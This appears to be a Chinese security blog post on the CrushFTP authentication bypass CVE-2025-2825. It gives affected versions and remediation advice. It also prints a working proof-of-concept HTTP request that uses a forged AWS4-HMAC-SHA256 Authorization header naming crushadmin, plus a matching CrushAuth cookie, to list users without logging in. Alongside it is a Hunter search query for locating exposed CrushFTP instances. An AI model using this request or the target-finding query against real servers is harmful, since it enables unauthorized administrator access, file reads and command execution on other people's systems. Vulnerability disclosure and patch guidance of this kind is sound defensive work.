CrushFTP身份认证绕过漏洞（CVE-2025-2825)
CrushFTP身份认证绕过漏洞（CVE-2025-2825)
YuanQiu安全 2025-04-28 09:43
免责声明
由于传播、
本公众号
所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本公众号及作者不为此承担任何责任！
一旦造成后果请自行承担！
如有侵权烦请告知，我们会立即删除并致歉，谢谢！
一、前言
1. 漏洞简介
CrushFTP 是由 CrushFTP LLC 开发的文件传输服务器软件，它的主要用途是提供安全、可靠的文件传输服务。它允许用户通过多种协议（如FTP、SFTP、HTTP、WebDAV等）安全地上传、下载和管理文件。由于CrushFTP未对请求的标头进行严格的安全检查和限制，导致未经身份验证的攻击者可以通过发送带有特定标头的请求绕过认证机制来获取管理员权限，进而执行任意内置命令，或读取服务器上的任意文件。
漏洞编号：CVE-2025-2825
影响版本：10.0.0 <= CrushFTP <= 10.8.3
11.0.0 <= CrushFTP <= 11.3.0
二、漏洞复现
资产语法(Hunter): web.title="CrushFTP WebInterface"
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=zE1G HTTP/1.1
Host: 192.168.1.13:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Length: 0
Connection: keep-alive
Cookie: currentAuth=zE1G; CrushAuth=1743755252300_3oa5v32dYiIPaoHiBqK6MnezuvzE1G
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Priority: u=0
三、修复建议
官方已在 2025 年 3 月底发布补丁，请务必更新至最新版本（v10.6.x 以上）
若无法立即更新，请临时：
禁用外部访问接口
设置防火墙规则仅允许可信 IP 访问
监控异常请求日志中的
CrushAuth 或
getUserList 请求
Taps: